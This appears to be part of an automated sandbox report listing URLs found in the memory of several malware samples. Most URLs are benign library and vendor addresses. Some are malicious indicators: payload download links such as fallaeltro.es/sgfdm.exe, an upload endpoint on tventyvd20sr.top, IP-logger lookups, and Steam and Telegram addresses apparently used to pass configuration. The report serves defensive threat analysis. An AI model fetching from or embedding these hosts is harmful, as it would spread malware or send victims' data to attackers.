Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/pivotCacheDefinition
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/pivotCacheRecords
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/pivotTable
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/presProps
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/printerSettings
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/queryTable
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/revisionHeaders
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/revisionLog
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/settings
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/sharedStrings
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/sheetMetadata
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/slideLayout
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/slideMaster
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/slideUpdateInfo
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/slideUpdateUrl
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/subDocument
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/tableSingleCells
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/tableStyles
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/themeOverride
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/transform
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/usernames
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/viewProps
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/volatileDependencies
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/webSettings
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/worksheet
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/xmlMaps
Source: Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: DUGO48VDeAcOvTvqkkCJ3EIG.exe, 00000008.00000002.2120856271.000000000041F000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: DUGO48VDeAcOvTvqkkCJ3EIG.exe, 00000008.00000002.2120856271.000000000041F000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931707883.0000000000149000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931877057.0000000000135000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931707883.0000000000135000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931594192.0000000000133000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tventyvd20sr.top/
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000002.3276809553.000000000010E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tventyvd20sr.top/d
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931594192.0000000000149000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000002.3277039262.000000000014A000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931707883.0000000000149000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tventyvd20sr.top/e
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931594192.0000000000149000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000002.3277039262.000000000014A000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931707883.0000000000149000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tventyvd20sr.top/p
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931594192.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tventyvd20sr.top/v1/upload.php
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931683284.0000000000163000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931545946.0000000000153000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tventyvd20sr.top/v1/upload.php.
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000002.3276809553.000000000010E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tventyvd20sr.top/v1/upload.phpo
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000002.3276991126.0000000000135000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931877057.0000000000135000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931707883.0000000000135000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931594192.0000000000133000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tventyvd20sr.top:80/v1/upload.php
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000002.3276991126.0000000000135000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931877057.0000000000135000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931707883.0000000000135000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931594192.0000000000133000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tventyvd20sr.top:80/v1/upload.phpf
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: D4wpDprTNebjzitxM8NmQjMu.exe, D4wpDprTNebjzitxM8NmQjMu.exe, 0000000A.00000002.3236960709.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdline
Source: D4wpDprTNebjzitxM8NmQjMu.exe, 0000000A.00000002.3236960709.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3018995709.000000006897D000.00000002.00000001.01000000.00000027.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3012572145.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2952968510.000000001DBB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.1726745266.00000000044A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1726745266.0000000004A13000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllm_object
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2276057061.0000000003240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.datamarket.azure.com/data.ashx/
Source: nnoSckkth0srkZiZ3BOPqSkN.exe, 00000009.00000002.2184185015.0000000003415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2110880630.0000000000EC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/?format=json
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000EC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org:443/?format=json
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2276057061.0000000003240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2276057061.0000000003240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2276057061.0000000003240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://datamarket.accesscontrol.windows.net/v2/OAuth2-13Chttps://api.datamarket.azure.com/#PowerPiv
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp, Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://datamarket.azure.com/embedded/catalog?client_id=
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp, Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://datamarket.azure.com/embedded/consent?client_id=
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp, Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://datamarket.azure.com/embedded/query?client_id=
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://datamarket.azure.com/embedded/result
Source: Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://datamarket.azure.com/embedded/resultrhttps://datamarket.accesscontrol.windows.net/v2/OAuth2-
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2276057061.0000000003240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2276057061.0000000003240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2276057061.0000000003240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallaeltro.es/
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallaeltro.es/sgfdm.exe
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallaeltro.es/sgfdm.exe-
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallaeltro.es/sgfdm.exe6
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallaeltro.es/sgfdm.exeC:
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallaeltro.es/vhtrw.exe
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallaeltro.es/vhtrw.exeC:
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039C2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallaeltro.es/vtrwh12.exe
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallaeltro.es/vtrwh12.exeC:
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallaeltro.es/vtrwh12.exeexehjfehfue
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallaeltro.es:80/sgfdm.exe
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallaeltro.es:80/sgfdm.exeY
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallaeltro.es:80/vhtrw.exe
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallaeltro.es:80/vhtrw.exe;
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallaeltro.es:80/vtrwh12.exe
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallaeltro.es:80/vtrwh12.exeaTA
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/K
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039E3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.0000000003A13000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/feoihjfehfue
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/feoihjfehfueC:
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/feoihjfehfueF
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/feoihjfehfuei
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/feoihjfehfuevoufshire.exe
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app:80/feoihjfehfue?
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app:80/feoihjfehfue_
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000002.3280362120.000000000142F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: https://github.com/golang/protobuf/issues/1609):
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: RegAsm.exe	String found in binary or memory: https://ipgeolocation.io/
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: file.exe, 00000000.00000002.1726745266.00000000044A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1726745266.0000000004A13000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/https://ipgeolocation.io/::
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33)
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33y
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.33Kf
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1nhuM4.js
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/AZ
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/z
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org:443/1nhuM4.js43
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org0/
Source: 2Su0FBbBo66AP291hju1uAp_.exe, 00000005.00000002.2178102890.0000000003A1E000.00000004.00000800.00020000.00000000.sdmp, McmVdxsIvLZmG47_ZImbEdvo.exe, 0000000D.00000002.2175074041.0000000003C0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199768374681
Source: 2Su0FBbBo66AP291hju1uAp_.exe, 00000005.00000002.2178102890.0000000003A1E000.00000004.00000800.00020000.00000000.sdmp, McmVdxsIvLZmG47_ZImbEdvo.exe, 0000000D.00000002.2175074041.0000000003C0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199768374681i11ihttps://t.me/edm0dMozilla/5.0
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000003.2810550974.0000000029C5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000003.2810550974.0000000029C5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000003.2658406887.000000001D960000.00000004.00000020.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.000000000082A000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000003.2658406887.000000001D960000.00000004.00000020.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.000000000082A000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.000000000082A000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.000000000082A000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: 2Su0FBbBo66AP291hju1uAp_.exe, 00000005.00000002.2178102890.0000000003A1E000.00000004.00000800.00020000.00000000.sdmp, McmVdxsIvLZmG47_ZImbEdvo.exe, 0000000D.00000002.2175074041.0000000003C0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/edm0d
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000000.2065831986.000000000087E000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://update-ledger.net/update
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: DUGO48VDeAcOvTvqkkCJ3EIG.exe, 00000008.00000002.2120856271.000000000041F000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2276057061.0000000003240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: DUGO48VDeAcOvTvqkkCJ3EIG.exe, 00000008.00000002.2120856271.000000000041F000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: DUGO48VDeAcOvTvqkkCJ3EIG.exe, 00000008.00000002.2120856271.000000000041F000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.globalsign.com/repository/06
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2276057061.0000000003240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
